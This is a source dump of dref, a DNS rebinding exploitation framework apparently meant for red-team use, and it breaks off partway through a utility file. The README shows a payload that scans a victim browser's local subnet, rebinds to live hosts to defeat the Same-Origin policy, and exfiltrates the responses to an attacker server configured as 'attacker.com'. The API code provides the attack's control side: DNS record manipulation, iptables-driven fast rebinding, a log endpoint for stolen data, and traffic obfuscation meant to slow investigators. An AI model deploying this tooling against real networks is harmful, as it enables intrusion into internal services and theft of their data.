├── .gitignore
├── .travis.yml
├── README.md
├── docker-compose-dev.yml
├── docker-compose.yml
├── docs
└── img
│ ├── arrow-bottom-right.png
│ ├── diagram.png
│ ├── exfiltrated.png
│ └── logo.png
├── dref-config.yml
├── dref
├── api
│ ├── .babelrc
│ ├── .eslintignore
│ ├── .eslintrc.js
│ ├── package.json
│ └── src
│ │ ├── app.js
│ │ ├── bin
│ │ └── www
│ │ ├── middlewares
│ │ ├── decrypter.js
│ │ └── targeter.js
│ │ ├── models
│ │ ├── ARecord.js
│ │ ├── Log.js
│ │ └── Target.js
│ │ ├── routes
│ │ ├── arecords.js
│ │ ├── checkpoint.js
│ │ ├── hang.js
│ │ ├── index.js
│ │ ├── iptables.js
│ │ ├── logs.js
│ │ ├── scripts.js
│ │ └── targets.js
│ │ ├── utils
│ │ ├── crypto.js
│ │ └── iptables.js
│ │ └── views
│ │ ├── error.pug
│ │ ├── index.pug
│ │ └── layout.pug
├── dns
│ ├── .babelrc
│ ├── .eslintrc.js
│ ├── package.json
│ ├── src
│ │ ├── dns
│ │ │ ├── answer.js
│ │ │ ├── handler.js
│ │ │ └── question.js
│ │ ├── models
│ │ │ └── ARecord.js
│ │ └── server.js
│ └── tests
│ │ └── dns
│ │ ├── answer.test.js
│ │ ├── handler.test.js
│ │ └── question.test.js
└── scripts
│ ├── .eslintrc.js
│ ├── package.json
│ ├── src
│ ├── libs
│ │ ├── crypto.js
│ │ ├── network.js
│ │ └── session.js
│ └── payloads
│ │ ├── fast-rebind.js
│ │ ├── fetch-page.js
│ │ ├── port-scan.js
│ │ ├── sysinfo.js
│ │ └── web-discover.js
│ └── webpack.config.js
├── greenkeeper.json
└── iptables-node-alpine.Dockerfile
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
3 | dref/dns/dist/*
4 | dref/dns/coverage/*
5 |
6 | dref/api/dist/*
7 | dref/api/coverage/*
8 |
9 | dref/scripts/dist/*
10 | dref/scripts/coverage/*
11 |
12 | dref/ui/dist/*
13 | dref/ui/coverage/*
14 |
15 | package-lock.json
16 |
17 | # Created by https://www.gitignore.io/api/node
18 |
19 | ### Node ###
20 | # Logs
21 | logs
22 | *.log
23 | npm-debug.log*
24 | yarn-debug.log*
25 | yarn-error.log*
26 |
27 | # Runtime data
28 | pids
29 | *.pid
30 | *.seed
31 | *.pid.lock
32 |
33 | # Directory for instrumented libs generated by jscoverage/JSCover
34 | lib-cov
35 |
36 | # Coverage directory used by tools like istanbul
37 | coverage
38 |
39 | # nyc test coverage
40 | .nyc_output
41 |
42 | # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
43 | .grunt
44 |
45 | # Bower dependency directory (https://bower.io/)
46 | bower_components
47 |
48 | # node-waf configuration
49 | .lock-wscript
50 |
51 | # Compiled binary addons (http://nodejs.org/api/addons.html)
52 | build/Release
53 |
54 | # Dependency directories
55 | node_modules/
56 | jspm_packages/
57 |
58 | # Typescript v1 declaration files
59 | typings/
60 |
61 | # Optional npm cache directory
62 | .npm
63 |
64 | # Optional eslint cache
65 | .eslintcache
66 |
67 | # Optional REPL history
68 | .node_repl_history
69 |
70 | # Output of 'npm pack'
71 | *.tgz
72 |
73 | # Yarn Integrity file
74 | .yarn-integrity
75 |
76 | # dotenv environment variables file
77 | .env
78 |
79 |
80 | # End of https://www.gitignore.io/api/node
81 |
--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | language: node_js
2 | node_js:
3 | - stable
4 | cache:
5 | npm: true
6 | directories:
7 | - dref/dns/node_modules
8 | - dref/api/node_modules
9 | - dref/scripts/node_modules
10 | env:
11 | - TEST_DIR=dref/dns
12 | script: cd $TEST_DIR && npm install && npm test && codecov
13 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | DNS Rebinding Exploitation Framework
7 |
8 |
9 |
10 |
11 |
12 |
13 | This project is no longer maintained.
14 |
15 | dref does the heavy-lifting for [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). The following snippet from one of its [built-in payloads](https://github.com/mwrlabs/dref/wiki/Payloads#web-discover) shows the framework being used to scan a local subnet from a hooked browser; after identifying live web services it proceeds to exfiltrate GET responses, [breezing through the Same-Origin policy](https://github.com/mwrlabs/dref/wiki#limitations):
16 |
17 | ```javascript
18 | // mainFrame() runs first
19 | async function mainFrame () {
20 | // We use some tricks to derive the browser's local /24 subnet
21 | const localSubnet = await network.getLocalSubnet(24)
22 |
23 | // We use some more tricks to scan a couple of ports across the subnet
24 | netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
25 | // We launch the rebind attack on live targets
26 | for (let h of results.hosts) {
27 | for (let p of h.ports) {
28 | if (p.open) session.createRebindFrame(h.host, p.port)
29 | }
30 | }
31 | })
32 | }
33 |
34 | // rebindFrame() will have target ip:port as origin
35 | function rebindFrame () {
36 | // After this we'll have bypassed the Same-Origin policy
37 | session.triggerRebind().then(() => {
38 | // We can now read the response across origin...
39 | network.get(session.baseURL, {
40 | successCb: (code, headers, body) => {
41 | // ... and exfiltrate it
42 | session.log({code: code, headers: headers, body: body})
43 | }
44 | })
45 | })
46 | }
47 | ```
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | Head over to the [Wiki](https://github.com/mwrlabs/dref/wiki) to get started or check out [dref attacking headless browsers](https://labs.mwrinfosecurity.com/blog/from-http-referer-to-aws-security-credentials/) for a practical use case.
56 |
57 |
58 |
59 | This is a development release - do not use in production
60 |
61 |
62 |
--------------------------------------------------------------------------------
/docker-compose-dev.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 |
3 | services:
4 | mongo:
5 | ports:
6 | - 127.0.0.1:27017:27017
7 |
8 | dns:
9 | command: sh -c "npm install && npm run dev"
10 |
11 | api:
12 | command: sh -c "npm install && npm run dev"
13 |
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 |
3 | volumes:
4 | api_node_modules:
5 | scripts_node_modules:
6 | dns_node_modules:
7 |
8 | networks:
9 | dref:
10 | driver: bridge
11 |
12 | services:
13 | mongo:
14 | image: mongo:3.6.5-jessie
15 | restart: on-failure
16 | networks:
17 | - dref
18 |
19 | dns:
20 | image: node:9.11.2-alpine
21 | ports:
22 | - 0.0.0.0:53:53/udp
23 | volumes:
24 | - ./dref/dns/:/src:rw
25 | - ./dref-config.yml:/tmp/dref-config.yml:ro
26 | - dns_node_modules:/src/node_modules
27 | working_dir: /src/
28 | networks:
29 | - dref
30 | command: sh -c "npm install --production && npm run build && npm run start"
31 | restart: on-failure
32 | depends_on:
33 | - mongo
34 |
35 | scripts:
36 | image: node:9.11.2-alpine
37 | networks:
38 | - dref
39 | environment:
40 | - HOST=0.0.0.0
41 | - PORT=8000
42 | volumes:
43 | - ./dref/scripts/:/src:rw
44 | - scripts_node_modules:/src/node_modules
45 | working_dir: /src/
46 | command: sh -c "npm install && npm run dev"
47 | restart: on-failure
48 | depends_on:
49 | - mongo
50 |
51 | api:
52 | build:
53 | context: .
54 | dockerfile: iptables-node-alpine.Dockerfile
55 | networks:
56 | - dref
57 | cap_add:
58 | - NET_ADMIN
59 | ports:
60 | - 0.0.0.0:80:80
61 | - 0.0.0.0:443:443
62 | - 0.0.0.0:8000:8000
63 | - 0.0.0.0:8080:8080
64 | - 0.0.0.0:8888:8888
65 | environment:
66 | - PORT=45000
67 | volumes:
68 | - ./dref/api/:/src:rw
69 | - ./dref-config.yml:/tmp/dref-config.yml:ro
70 | - api_node_modules:/src/node_modules
71 | working_dir: /src/
72 | command: sh -c "npm install --production && npm run build && npm run start"
73 | restart: on-failure
74 | depends_on:
75 | - mongo
76 | - scripts
77 |
--------------------------------------------------------------------------------
/docs/img/arrow-bottom-right.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FSecureLABS/dref/e9efd9cd4379076c340bf41408d74981a21f9022/docs/img/arrow-bottom-right.png
--------------------------------------------------------------------------------
/docs/img/diagram.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FSecureLABS/dref/e9efd9cd4379076c340bf41408d74981a21f9022/docs/img/diagram.png
--------------------------------------------------------------------------------
/docs/img/exfiltrated.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FSecureLABS/dref/e9efd9cd4379076c340bf41408d74981a21f9022/docs/img/exfiltrated.png
--------------------------------------------------------------------------------
/docs/img/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FSecureLABS/dref/e9efd9cd4379076c340bf41408d74981a21f9022/docs/img/logo.png
--------------------------------------------------------------------------------
/dref-config.yml:
--------------------------------------------------------------------------------
1 | general:
2 | domain: "attacker.com"
3 | address: "1.2.3.4"
4 | logPort: 443
5 | iptablesTimeout: 10000
6 |
7 | targets:
8 | - target: "demo"
9 | script: "web-discover"
10 |
11 | - target: "sysinfo"
12 | script: "sysinfo"
13 |
14 | - target: "port-scan"
15 | script: "port-scan"
16 | args:
17 | ports:
18 | - 80
19 | - 8080
20 |
21 | - target: "fetch-page"
22 | script: "fetch-page"
23 | args:
24 | host: "192.168.1.1"
25 | port: 80
26 | path: "/index.html"
27 |
28 | - target: "fast-rebind"
29 | script: "fast-rebind"
30 | fastRebind: true
31 | args:
32 | host: "192.168.1.1"
33 | port: 80
34 | path: "/index.html"
35 |
--------------------------------------------------------------------------------
/dref/api/.babelrc:
--------------------------------------------------------------------------------
1 | {
2 | "presets": ["env"]
3 | }
4 |
--------------------------------------------------------------------------------
/dref/api/.eslintignore:
--------------------------------------------------------------------------------
1 | app.js
2 |
--------------------------------------------------------------------------------
/dref/api/.eslintrc.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | "extends": "standard"
3 | };
--------------------------------------------------------------------------------
/dref/api/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "manager",
3 | "version": "0.0.0",
4 | "private": true,
5 | "scripts": {
6 | "test": "eslint src/**/*.js tests/**/*.js && jest",
7 | "build": "babel src -d dist --copy-files",
8 | "start": "node dist/bin/www",
9 | "dev": "nodemon --legacy-watch --ignore 'dist/*' --exec 'npm run build && node' dist/bin/www"
10 | },
11 | "dependencies": {
12 | "atob": "^2.1.2",
13 | "babel-cli": "^6.26.0",
14 | "babel-jest": "^23.4.0",
15 | "babel-preset-env": "^1.7.0",
16 | "connect-timeout": "^1.9.0",
17 | "cookie-parser": "~1.4.3",
18 | "cors": "^2.8.4",
19 | "debug": "~3.1.0",
20 | "express": "~4.16.0",
21 | "express-validator": "^5.2.0",
22 | "http-errors": "~1.7.0",
23 | "mongoose": "^5.2.11",
24 | "morgan": "~1.9.0",
25 | "nodemon": "^1.18.7",
26 | "pug": "^2.0.3",
27 | "request": "^2.87.0",
28 | "yamljs": "^0.3.0"
29 | },
30 | "devDependencies": {
31 | "eslint": "^5.0.1",
32 | "eslint-config-standard": "^12.0.0",
33 | "eslint-plugin-import": "^2.12.0",
34 | "eslint-plugin-node": "^7.0.0",
35 | "eslint-plugin-promise": "^4.0.0",
36 | "eslint-plugin-standard": "^4.0.0",
37 | "jest": "^23.1.0"
38 | },
39 | "jest": {
40 | "coverageDirectory": "./coverage/",
41 | "collectCoverage": true,
42 | "testEnvironment": "node"
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/dref/api/src/app.js:
--------------------------------------------------------------------------------
1 | import express from 'express'
2 | import createError from 'http-errors'
3 | import path from 'path'
4 | import logger from 'morgan'
5 | import mongoose from 'mongoose'
6 | import YAML from 'yamljs'
7 | import cors from 'cors'
8 | import * as iptables from './utils/iptables'
9 |
10 | /**
11 | * Mongo
12 | */
13 | mongoose.connect('mongodb://mongo:27017/dref')
14 | mongoose.set('debug', true)
15 |
16 | /**
17 | * Models
18 | */
19 | import ARecord from './models/ARecord'
20 | import Log from './models/Log'
21 | import Target from './models/Target'
22 |
23 | /**
24 | * Process dref-config.yml and set up targets
25 | */
26 | global.config = YAML.load('/tmp/dref-config.yml')
27 |
28 | for (let i = 0; i < global.config.targets.length; i++) {
29 | if (!global.config.targets[i].hasOwnProperty('target') || !global.config.targets[i].hasOwnProperty('script')) {
30 | console.log('dref: Missing properties id and/or script for payload in dref-config.yml')
31 | }
32 |
33 | let doc = {
34 | target: global.config.targets[i].target,
35 | script: global.config.targets[i].script,
36 | hang: global.config.targets[i].hang || false,
37 | fastRebind: global.config.targets[i].fastRebind || false,
38 | args: global.config.targets[i].args
39 | }
40 |
41 | Target.update ({ target: global.config.targets[i].target }, doc, { upsert: true }, function () {
42 | console.log('dref: Configured target\n' + JSON.stringify(doc, null, 4))
43 | })
44 | }
45 |
46 | /**
47 | * Set up default iptable rules to forward all ports to the API
48 | */
49 | iptables.execute({
50 | table: iptables.Table.NAT,
51 | command: iptables.Command.INSERT,
52 | chain: iptables.Chain.PREROUTING,
53 | target: iptables.Target.REDIRECT,
54 | toPort: process.env.PORT || '3000'
55 | })
56 |
57 | /**
58 | * Set up default iptable rules to REJECT all traffic to dport 1
59 | * This is used for denying traffic and causing a fast-rebind, when configured
60 | * (the /iptables route will forward denied traffic to dport 1 on rebind)
61 | */
62 | iptables.execute({
63 | table: iptables.Table.FILTER,
64 | command: iptables.Command.INSERT,
65 | chain: iptables.Chain.INPUT,
66 | target: iptables.Target.REJECT,
67 | fromPort: 1
68 | })
69 |
70 | /**
71 | * Import routes
72 | */
73 | import indexRouter from './routes/index'
74 | import logsRouter from './routes/logs'
75 | import scriptsRouter from './routes/scripts'
76 | import aRecordsRouter from './routes/arecords'
77 | import iptablesRouter from './routes/iptables'
78 | import targetsRouter from './routes/targets'
79 | import checkpointRouter from './routes/checkpoint'
80 | import hangRouter from './routes/hang'
81 |
82 | /**
83 | * Set up app
84 | */
85 | var app = express()
86 |
87 | app.disable('x-powered-by')
88 | app.set('etag', false)
89 |
90 | app.options('/logs', cors())
91 | app.options('/iptables', cors())
92 |
93 | // view engine setup
94 | app.set('views', path.join(__dirname, 'views'))
95 | app.set('view engine', 'pug')
96 |
97 | app.use(logger('dev'))
98 | app.use(express.json())
99 | app.use(express.urlencoded({ extended: false }))
100 |
101 | // routes
102 | app.use('/', indexRouter)
103 | app.use('/logs', logsRouter)
104 | app.use('/scripts', scriptsRouter)
105 | app.use('/arecords', aRecordsRouter)
106 | app.use('/iptables', iptablesRouter)
107 | app.use('/targets', targetsRouter)
108 | app.use('/checkpoint', checkpointRouter)
109 | app.use('/hang', hangRouter)
110 |
111 | // catch 404 and forward to error handler
112 | app.use(function (req, res, next) {
113 | next(createError(404))
114 | })
115 |
116 | /**
117 | * Error handler
118 | */
119 | app.use(function (err, req, res, next) {
120 | // set locals, only providing error in development
121 | res.locals.message = err.message
122 | res.locals.error = req.app.get('env') === 'development' ? err : {}
123 |
124 | // render the error page
125 | res.status(err.status || 500)
126 | res.render('error')
127 | })
128 |
129 | module.exports = app
130 |
--------------------------------------------------------------------------------
/dref/api/src/bin/www:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env node
2 |
3 | /**
4 | * Module dependencies.
5 | */
6 |
7 | var app = require('../app')
8 | var debug = require('debug')('manager:server')
9 | var http = require('http')
10 |
11 | /**
12 | * Get port from environment and store in Express.
13 | */
14 |
15 | var port = normalizePort(process.env.PORT || '3000')
16 | app.set('port', port)
17 |
18 | /**
19 | * Create HTTP server.
20 | */
21 |
22 | var server = http.createServer(app)
23 |
24 | /**
25 | * Listen on provided port, on all network interfaces.
26 | */
27 |
28 | server.listen(port)
29 | server.on('error', onError)
30 | server.on('listening', onListening)
31 |
32 | /**
33 | * Set timeout for /hang
34 | */
35 | server.keepAliveTimeout = 240000
36 |
37 | /**
38 | * Normalize a port into a number, string, or false.
39 | */
40 |
41 | function normalizePort (val) {
42 | var port = parseInt(val, 10)
43 |
44 | if (isNaN(port)) {
45 | // named pipe
46 | return val
47 | }
48 |
49 | if (port >= 0) {
50 | // port number
51 | return port
52 | }
53 |
54 | return false
55 | }
56 |
57 | /**
58 | * Event listener for HTTP server "error" event.
59 | */
60 |
61 | function onError (error) {
62 | if (error.syscall !== 'listen') {
63 | throw error
64 | }
65 |
66 | var bind = typeof port === 'string'
67 | ? 'Pipe ' + port
68 | : 'Port ' + port
69 |
70 | // handle specific listen errors with friendly messages
71 | switch (error.code) {
72 | case 'EACCES':
73 | console.error(bind + ' requires elevated privileges')
74 | process.exit(1)
75 | case 'EADDRINUSE':
76 | console.error(bind + ' is already in use')
77 | process.exit(1)
78 | default:
79 | throw error
80 | }
81 | }
82 |
83 | /**
84 | * Event listener for HTTP server "listening" event.
85 | */
86 |
87 | function onListening () {
88 | var addr = server.address()
89 | var bind = typeof addr === 'string'
90 | ? 'pipe ' + addr
91 | : 'port ' + addr.port
92 | debug('Listening on ' + bind)
93 | }
94 |
--------------------------------------------------------------------------------
/dref/api/src/middlewares/decrypter.js:
--------------------------------------------------------------------------------
1 | import * as crypto from '../utils/crypto'
2 | import atob from 'atob'
3 |
4 | /**
5 | * This is _NOT_ intended to enable secure transmission of data.
6 | * This is _NOT_ intended to be secure cryptography.
7 | * This is just some obfuscation.
8 | *
9 | * It's only intended to very slightly slow down someone investigating the
10 | * network traffic.
11 | *
12 | * In the future this will be improved and obfuscation of the JavaScript
13 | * payloads will slow down investigative efforts some more.
14 | *
15 | * Obfuscation is only really a concern for potential use in Red Team exercises.
16 | */
17 |
18 | export default function (req, res, next) {
19 | if (!req.body.hasOwnProperty('s') || !req.body.hasOwnProperty('d')) {
20 | res.status(400).send()
21 | }
22 |
23 | var sessionKey = crypto.xor(req.body.s, crypto.staticKey)
24 | req.data = JSON.parse(crypto.rc4(sessionKey, atob(req.body.d)))
25 |
26 | next()
27 | }
28 |
--------------------------------------------------------------------------------
/dref/api/src/middlewares/targeter.js:
--------------------------------------------------------------------------------
1 | export default function (req, res, next) {
2 | // get subdomain
3 | for (var i = 0; i < req.subdomains.length; i++) {
4 | if (/^[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]$/.test(req.subdomains[i])) {
5 | req.target = req.subdomains[i]
6 | }
7 | }
8 |
9 | // get port
10 | req.port = req.get('host').split(':')[1]
11 | if (!req.port) {
12 | req.port = 80
13 | }
14 |
15 | // check we have both
16 | if (req.port && req.target) next()
17 | else res.status(400).send()
18 | }
19 |
--------------------------------------------------------------------------------
/dref/api/src/models/ARecord.js:
--------------------------------------------------------------------------------
1 | import mongoose from 'mongoose'
2 |
3 | var ARecordSchema = new mongoose.Schema({
4 | domain: {
5 | type: String,
6 | required: true,
7 | unique: true
8 | },
9 | address: {
10 | type: String,
11 | default: '127.0.0.1'
12 | },
13 | rebind: {
14 | type: Boolean,
15 | default: false
16 | },
17 | // a dual entry will return two A records: the arecord.address above and the
18 | // server's default address
19 | dual: {
20 | type: Boolean,
21 | default: false
22 | }
23 | })
24 |
25 | export default mongoose.model('ARecord', ARecordSchema)
26 |
--------------------------------------------------------------------------------
/dref/api/src/models/Log.js:
--------------------------------------------------------------------------------
1 | import mongoose from 'mongoose'
2 |
3 | var LogSchema = new mongoose.Schema({
4 | port: {
5 | type: Number,
6 | required: true,
7 | min: 0,
8 | max: 65535
9 | },
10 | ip: {
11 | type: String,
12 | required: true
13 | },
14 | data: mongoose.Schema.Types.Mixed
15 | }, { timestamps: true })
16 |
17 | let Log = mongoose.model('Log', LogSchema)
18 |
19 | export default Log
20 |
--------------------------------------------------------------------------------
/dref/api/src/models/Target.js:
--------------------------------------------------------------------------------
1 | import mongoose from 'mongoose'
2 |
3 | var TargetSchema = new mongoose.Schema({
4 | target: {
5 | type: String,
6 | required: true,
7 | match: /^[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]$/
8 | },
9 | script: {
10 | type: String,
11 | required: true
12 | },
13 | hang: {
14 | type: Boolean,
15 | default: false
16 | },
17 | fastRebind: {
18 | type: Boolean,
19 | default: false
20 | },
21 | args: mongoose.Schema.Types.Mixed
22 | }, { timestamps: true })
23 |
24 | let Target = mongoose.model('Target', TargetSchema)
25 |
26 | export default Target
27 |
--------------------------------------------------------------------------------
/dref/api/src/routes/arecords.js:
--------------------------------------------------------------------------------
1 | import mongoose from 'mongoose'
2 | import { Router } from 'express'
3 | import { check, validationResult } from 'express-validator/check'
4 |
5 | const router = Router()
6 | const ARecord = mongoose.model('ARecord')
7 |
8 | // This should be re-written as a proper REST API
9 | router.post('/', [
10 | check('domain').matches(/^([a-zA-Z0-9][a-zA-Z0-9-_]*\.)*[a-zA-Z0-9]*[a-zA-Z0-9-_]*[[a-zA-Z0-9]+$/),
11 | check('address').optional().matches(/^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/),
12 | check('rebind').optional().isBoolean(),
13 | check('dual').optional().isBoolean()
14 | ], function (req, res, next) {
15 | const errors = validationResult(req)
16 |
17 | if (!errors.isEmpty()) {
18 | return res.status(422).json({ errors: errors.array() })
19 | }
20 |
21 | console.log('dref: POST ARecord\n' + JSON.stringify(req.body, null, 4))
22 |
23 | const record = { domain: req.body.domain }
24 | if (typeof req.body.address !== 'undefined') record.address = req.body.address
25 | if (typeof req.body.rebind !== 'undefined') record.rebind = req.body.rebind
26 | if (typeof req.body.dual !== 'undefined') record.dual = req.body.dual
27 |
28 | ARecord.findOneAndUpdate({
29 | domain: req.body.domain
30 | }, record, { upsert: true, new: true }, function (err, doc) {
31 | if (err) {
32 | console.log(err)
33 | return res.status(400).send()
34 | }
35 |
36 | return res.status(204).send()
37 | })
38 | })
39 |
40 | export default router
41 |
--------------------------------------------------------------------------------
/dref/api/src/routes/checkpoint.js:
--------------------------------------------------------------------------------
1 | import { Router } from 'express'
2 |
3 | var router = Router()
4 |
5 | router.get('/', function (req, res, next) {
6 | res.set('Connection', 'close')
7 | res.send(JSON.stringify({
8 | checkpoint: true
9 | }))
10 | })
11 |
12 | export default router
13 |
--------------------------------------------------------------------------------
/dref/api/src/routes/hang.js:
--------------------------------------------------------------------------------
1 | import { Router } from 'express'
2 |
3 | var router = Router()
4 |
5 | router.get('/', function (req, res, next) {
6 | res.status(200).set({
7 | 'Content-Length': '1'
8 | }).send()
9 | })
10 |
11 | export default router
12 |
--------------------------------------------------------------------------------
/dref/api/src/routes/index.js:
--------------------------------------------------------------------------------
1 | import mongoose from 'mongoose'
2 | import { Router } from 'express'
3 | import targeter from '../middlewares/targeter'
4 |
5 | const router = Router()
6 | const Target = mongoose.model('Target')
7 |
8 | router.get('/', targeter, function (req, res, next) {
9 | Target.findOne({ target: req.target }, 'script hang args fastRebind', function (err, target) {
10 | if (err || !target) return res.status(400).send()
11 |
12 | res.render('index', {
13 | script: target.script,
14 | args: target.args,
15 | hang: target.hang,
16 | env: {
17 | target: req.target,
18 | script: target.script,
19 | domain: global.config.general.domain,
20 | address: global.config.general.address,
21 | logPort: global.config.general.logPort,
22 | fastRebind: target.fastRebind
23 | }
24 | })
25 | })
26 | })
27 |
28 | export default router
29 |
--------------------------------------------------------------------------------
/dref/api/src/routes/iptables.js:
--------------------------------------------------------------------------------
1 | import { Router } from 'express'
2 | import { check, validationResult } from 'express-validator/check'
3 | import cors from 'cors'
4 | import * as iptables from '../utils/iptables'
5 |
6 | const router = Router()
7 |
8 | function runIPTables (command, port, address) {
9 | return new Promise((resolve, reject) => {
10 | iptables.execute({
11 | table: iptables.Table.NAT,
12 | command: command,
13 | chain: iptables.Chain.PREROUTING,
14 | target: iptables.Target.REDIRECT,
15 | fromPort: port,
16 | toPort: 1,
17 | srcAddress: address
18 | }).then(status => {
19 | resolve(status)
20 | })
21 | })
22 | }
23 |
24 | router.post('/', cors(), [
25 | check('block').optional().isBoolean(),
26 | check('port').optional().isInt({ min: 1, max: 65535 })
27 | ], function (req, res, next) {
28 | const errors = validationResult(req)
29 |
30 | if (!errors.isEmpty()) {
31 | return res.status(422).json({ errors: errors.array() })
32 | }
33 |
34 | console.log('dref: POST IPTables\n' + JSON.stringify(req.body, null, 4))
35 |
36 | // Get IP address
37 | const ipv4Match = req.ip.match(/::ffff:(\d{0,3}.\d{0,3}.\d{0,3}.\d{0,3})/)
38 | if (!ipv4Match) {
39 | console.log(`source IP ${req.ip} doesn't appear to be IPv4, can't manipulate iptables and fast-rebind not available`)
40 | return res.status(400).send()
41 | }
42 | const ipv4 = ipv4Match[1]
43 |
44 | // Block for 10 seconds or unblock
45 | if (req.body.block) {
46 | runIPTables(iptables.Command.INSERT, req.body.port, ipv4).then(status => {
47 | // unblock after 10 seconds max (fail-safe if client forgets to unblock)
48 | setTimeout(function () {
49 | runIPTables(iptables.Command.DELETE, req.body.port, ipv4)
50 | }, global.config.general.iptablesTimeout)
51 |
52 | if (status) {
53 | return res.status(204).send()
54 | }
55 | return res.status(400).send()
56 | })
57 | } else {
58 | runIPTables(iptables.Command.DELETE, req.body.port, ipv4).then(status => {
59 | if (status) return res.status(204).send()
60 | return res.status(400).send()
61 | })
62 | }
63 | })
64 |
65 | export default router
66 |
--------------------------------------------------------------------------------
/dref/api/src/routes/logs.js:
--------------------------------------------------------------------------------
1 | import { Router } from 'express'
2 | import mongoose from 'mongoose'
3 | import cors from 'cors'
4 | import decrypter from '../middlewares/decrypter'
5 |
6 | var Log = mongoose.model('Log')
7 | var router = Router()
8 |
9 | router.post('/', cors(), decrypter, function (req, res, next) {
10 | console.log(JSON.stringify(req.data, null, 4))
11 |
12 | new Log({
13 | port: req.get('host').split(':')[1] || 80,
14 | ip: req.ip,
15 | data: req.data
16 | }).save()
17 |
18 | res.status(204).send()
19 | })
20 |
21 | export default router
22 |
--------------------------------------------------------------------------------
/dref/api/src/routes/scripts.js:
--------------------------------------------------------------------------------
1 | import { Router } from 'express'
2 | import { format } from 'util'
3 | import request from 'request'
4 | import targeter from '../middlewares/targeter'
5 |
6 | var router = Router()
7 |
8 | router.get('/:script', targeter, function (req, res, next) {
9 | var url = format('http://scripts:8000%s', req.originalUrl)
10 | request(url).pipe(res)
11 | })
12 |
13 | export default router
14 |
--------------------------------------------------------------------------------
/dref/api/src/routes/targets.js:
--------------------------------------------------------------------------------
1 | import mongoose from 'mongoose'
2 | import { Router } from 'express'
3 | import { check, validationResult } from 'express-validator/check'
4 |
5 | const router = Router()
6 | const Target = mongoose.model('Target')
7 |
8 | // This should be re-written as a proper REST API
9 | router.post('/', [
10 | check('target').matches(/^[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]$/),
11 | check('script').isString(),
12 | check('hang').optional().isBoolean(),
13 | check('fastRebind').optional().isBoolean(),
14 | check('args').optional()
15 | ], function (req, res, next) {
16 | const errors = validationResult(req)
17 |
18 | if (!errors.isEmpty()) {
19 | return res.status(422).json({ errors: errors.array() })
20 | }
21 |
22 | console.log('dref: POST Target\n' + JSON.stringify(req.body, null, 4))
23 |
24 | const record = {
25 | target: req.body.target,
26 | script: req.body.script
27 | }
28 | if (typeof req.body.hang !== 'undefined') record.hang = req.body.hang
29 | if (typeof req.body.fastRebind !== 'undefined') record.fastRebind = req.body.fastRebind
30 | if (typeof req.body.args !== 'undefined') record.args = req.body.args
31 |
32 | Target.findOneAndUpdate({
33 | target: req.body.target
34 | }, record, { upsert: true }, function (err) {
35 | if (err) {
36 | console.log(err)
37 | return res.status(400).send()
38 | }
39 | res.status(204).send()
40 | })
41 | })
42 |
43 | export default router
44 |
--------------------------------------------------------------------------------
/dref/api/src/utils/crypto.js:
--------------------------------------------------------------------------------
1 | /**
2 | * This is _NOT_ intended to enable secure transmission of data.
3 | * This is _NOT_ intended to be secure cryptography.
4 | * This is just some obfuscation.
5 | *
6 | * It's only intended to very slightly slow down someone investigating the
7 | * network traffic.
8 | *
9 | * In the future this will be improved and obfuscation of the JavaScript
10 | * payloads will slow down investigative efforts some more.
11 | *
12 | * Obfuscation is only really a concern for potential use in Red Team exercises.
13 | */
14 |
15 | export const staticKey = 'eea46dfa5dead1bbc1d6d5c9'
16 |
17 | export function randomHex (n) {
18 | var id = ''
19 | var range = '0123456789abcdef'
20 |
21 | for (var i = 0; i < n; i++) {
22 | id += range.charAt(Math.floor(Math.random() * range.length))
23 | }
24 |
25 | return id
26 | }
27 |
28 | // https://stackoverflow.com/questions/30651062/how-to-use-the-xor-on-two-strings
29 | export function xor (a, b) {
30 | // xor two hex strings
31 | var res = ''
32 | var i = a.length
33 | var j = b.length
34 |
35 | while (i-- > 0 && j-- > 0) {
36 | res = (parseInt(a.charAt(i), 16) ^ parseInt(b.charAt(j), 16)).toString(16) + res
37 | }
38 |
39 | return res
40 | }
41 |
42 | // https://gist.github.com/salipro4ever/e234addf92eb80f1858f
43 | export function rc4 (key, str) {
44 | var s = []
45 | var j = 0
46 | var x
47 | var res = ''
48 |
49 | for (var i = 0; i < 256; i++) {
50 | s[i] = i
51 | }
52 |
53 | for (i = 0; i < 256; i++) {
54 | j = (j + s[i] + key.charCodeAt(i % key.length)) % 256
55 | x = s[i]
56 | s[i] = s[j]
57 | s[j] = x
58 | }
59 |
60 | i = 0
61 | j = 0
62 |
63 | for (var y = 0; y < str.length; y++) {
64 | i = (i + 1) % 256
65 | j = (j + s[i]) % 256
66 | x = s[i]
67 | s[i] = s[j]
68 | s[j] = x
69 | res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i] + s[j]) % 256])
70 | }
71 |
72 | return res
73 | }
74 |
--------------------------------------------------------------------------------
/dref/api/src/utils/iptables.js:
--------------------------------------------------------------------------------
1 | import { spawn } from 'child_process'
2 |
3 | export const Command = Object.freeze({
4 | APPEND: '-A',
5 | CHECK: '-C',
6 | DELETE: '-D',
7 | INSERT: '-I'
8 | })
9 |
10 | export const Target = Object.freeze({
11 | DROP: 'DROP',
12 | REDIRECT: 'REDIRECT',
13 | REJECT: 'REJECT'
14 | })
15 |
16 | export const Table = Object.freeze({
17 | FILTER: 'filter',
